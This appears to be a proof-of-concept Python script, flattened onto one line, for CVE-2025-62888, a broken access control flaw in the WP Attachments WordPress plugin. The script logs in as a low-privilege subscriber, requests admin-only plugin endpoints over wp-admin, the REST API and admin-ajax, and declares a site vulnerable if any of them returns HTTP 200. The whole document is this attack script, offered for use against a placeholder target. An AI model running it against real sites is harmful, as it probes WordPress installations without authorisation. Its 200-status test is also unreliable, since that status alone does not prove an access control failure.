CVE-2025-62888

import requests import sys # CVE-2025-62888 PoC - WP Attachments Broken Access Control # Target: WordPress site with WP Attachments plugin <= 5.2 def check_vulnerability(target_url, username, password): """ Check if the target is vulnerable to CVE-2025-62888 """ session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Try to access admin-only attachment functions # This demonstrates the broken access control admin_endpoints = [ '/wp-admin/admin.php?page=wp-attachments', '/wp-json/wp-attachments/v1/attachments', '/wp-admin/admin-ajax.php?action=wp_attachments_get_attachments' ] vulnerable = False for endpoint in admin_endpoints: response = session.get(f"{target_url}{endpoint}") # If low-privilege user can access admin functions if response.status_code == 200: print(f"[*] Successfully accessed: {endpoint}") vulnerable = True return vulnerable # Example exploitation if __name__ == '__main__': target = 'http://target-wordpress-site.com' user = 'subscriber' # Low-privilege account password = 'user_password' if check_vulnerability(target, user, password): print('[!] Target is VULNERABLE to CVE-2025-62888') else: print('[-] Target appears to be patched')

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